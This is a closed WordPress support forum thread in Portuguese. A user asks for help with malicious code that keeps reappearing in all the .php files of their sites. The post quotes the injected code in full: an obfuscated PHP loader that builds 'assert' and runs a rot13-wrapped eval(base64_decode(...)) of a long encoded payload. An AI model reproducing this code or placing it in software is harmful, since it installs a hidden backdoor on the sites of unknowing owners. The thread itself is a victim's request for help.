Suporte » Ajustando o WordPress » Virus WordPress

  • Tenho uma hospedagem compartilhada, com alguns sites em wordpress instalados…
    Recentemente todas minhas instalações estão com essas linhas nos arquivos .php

    //###===###
    
    error_reporting(0); 
    
    $strings = "as";$strings .= "sert";
    
    if (!@$mdc96972) {$mdc96972=1;@$strings(str_rot13('riny(onfr64_qrpbqr("VTyzXUA0paA0pvtxK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFjvq3NgoT9anJ4vXKk8p3Elp3ElXPEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYPW3pP1uMT1covVcXJEcMGfxpG0xK1WSHIISH1EoVaRvKGgcMvtuDPEkXFEkCKA1LaA0pvtxK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFjkYQR0ZPx7WTM0CKA1LaA0pvtxpFjgAPj0XGgcMvNbXPEzqQ09Vv5jMTLvsUjxMaD9CFVhpaEzVak8WTM0CG0vYzEiLlW8sPEzqQ09Vv54oUZvsUjxMaD9CFVhpUO0Vak8WTM0CG0vpUO0rPW8sPEzqQ09Vv5iMUDvsUjxMaD9CFVho2EjVvxzWaA0pzkyovtxpFx+ZGNzWaA0pzkyovtxpFx8ZGZ1WvLupUWyM19gLKEwnPtvV1grLF16DF1nZP05KPIpYyksKPjgKFZvYPEkXFy7WUN9oJD1XUOlMJqspzIjoTSwMFtaWI53q3qpYvthXlxxWFpfVykpZFVfWS9GEIWJEIWoVxuHISOsFR9GIPWqXFx7WUH9LzSmMGL0K2EyL29xMFtvLGV1ZTAhIacxDmIdLwVjCFVcBlEwnQ1wqKWfK2yhnKDbVzu0qUN6Yl8vYvE1YvVipv8vYvEjYvViVv4xpF4vYlVhqKWfMJ5wo2EyXTWup2H2AS9yozAiMTHbWS9GEIWJEIWoVxuHISOsFR9GIPWqYvW8sUjvYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvW8sUjvYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4vsUk8Vv4xK1ASHyMSHyfvFSEHHS9FEHMSHxIFVy0cXFx7L3IloS9mMKEipUDbWTAbYQRjZQR4YPEjXGgwqKWfK3AyqT9jqPtxL2tfZGx5ZGZfZFx7WUD9L3IloS9yrTIwXPEwnPx7L3IloS9woT9mMFtxL2tcB2yzXPE0XKfxqQ1vLKAyAwEsMTIwo2EyXPE0XGgcMvumqJWmqUVbWUDfZPj3XG09Vzu0qUN6Yl8vXKgbMJSxMKVbVxkiL2S0nJ9hBvNxqPVcB2EcMGg9sFEwnQ1wqKWfK2yhnKDbVzu0qUN6Yl8vYvE1YvVipl9wYlVhWUNhVv8vYvEkXGgwqKWfK3AyqT9jqPtxL2tfZGNjZGtfWUNcB2A1pzksp2I0o3O0XPEwnPjkBGxkZljkXGfxqQ1wqKWfK2I4MJZbWTAbXGgwqKWfK2Afo3AyXPEwnPx7nJLbWUDcr2yzXPEzqQ09Vv5jMTLvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov9jMTLvXGgcMvtxMaD9CFVhpaEzVvybMJSxMKVbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24ipaEzVvx7nJLbWTM0CG0vYzEiLlVcnTIuMTIlXPWQo250MJ50YIE5pTH6VTSjpTkcL2S0nJ9hY21mq29lMPVcB2yzXPEzqQ09Vv54oUZvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov92ozDhoKZgMKuwMJjvXGgcMvtxMaD9CFVhpUO0VvybMJSxMKVbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24iqz5xYz1mYKOiq2IlpT9coaDvXGgcMvtxMaD9CFWjpUE4VvybMJSxMKVbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24iqz5xYz9jMJ54oJkzo3WgLKEmYJ9zMzywMJEiL3IgMJ50YaOlMKAyoaEuqTyioz1fYaOlMKAyoaEuqTyiovVcB2yzXPEzqQ09Vv5iMUDvXJuyLJEypvtvD29hqTIhqP1HrKOyBvOupUOfnJAuqTyiov92ozDho2SmnKZho3OyozEiL3IgMJ50YaEyrUDvXGgcMvtxMaD9CFVho2EjVvybMJSxMKVbVxAioaEyoaDgIUyjMGbtLKOjoTywLKEco24iqz5xYz9up2ymYz9jMJ5xo2A1oJIhqP5jpzImMJ50LKEco24vXGgyL2uiVPE0B2EcMGg9sJyzXPSyoKO0rFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeZwVvKFxcMTyyXPEsD09CF0ySJlWwoTyyoaEsL2uyL2flZvWqXGgcMvtunKAmMKDbWTyvqvxcr2yzXPScp3AyqPtxL19oVxuHISOsDHAQEIOHK0AVDIWGEIDvKFxcr2yzXUOlMJqsoJS0L2tbVvRhVKHvYTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXKfxLmN9VyIHEv04Vwg9MJkmMKfxLmN9VaqcozEiq3ZgZGV1ZFV7sK1yoUAyrlEwZQ0xL19oVxuHISOsDHAQEIOHK0AVDIWGEIDvKGg9nJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFy7WTZkCJA1pzksnJ5cqPtvnUE0pQbiY2ghqUW1p3DhL29gY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMwCFVhWTZjYvVznG0kWzyjCFVhWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0hVvMbCFVhoJD1XPVjAwMvAzHjBQp5AGquLwN3BQH1ZzAxZGWyAzV2AwD0ZlVhWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0hWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqYvEwZP4vZFVcXGgwqKWfK3AyqT9jqPtxLmRfAQVfZPx7L3IloS9mMKEipUDbWTZkYQp0YQRcB2A1pzksp2I0o3O0XPEwZFjkBGxkZljkXGfxnJW2VQ0tVTA1pzksMKuyLltxLmRcB2A1pzksL2kip2HbWTZkXGg9MJkmMJyzXTyhnI9aMKDbVzSfoT93K3IloS9zo3OyovVcCG0kXKfxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbVzu0qUN6Yl9eoaElqKA0YzAioF9aMKDhpTujC2D9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy0cYvVzqG0vYaIloTIhL29xMFtxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvZQL2LwMyZQt3BGH3LJVjAmt1AGWwMQRlMGMvAwL0AQZvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7sJyzXTymp2I0XPEcLaLcXKgyL2uiVPEcLaL7sK1cMvucp3AyqPtxK1WSHIISH1EoVaNvKFxzWvEsHxIEIHIGISfvpPWqCG0vAGx0ZQqvBJZvXKgNLKAmMKW0XPEsHxIEIHIGISfvLlWqXGg9"));'));}
    
    //###===###

    já tentei deletar e acabou por voltando… todos os sites estão com tela branca ao entrar no wp-admin…

    obrigado

  • O tópico ‘Virus WordPress’ está fechado para novas respostas.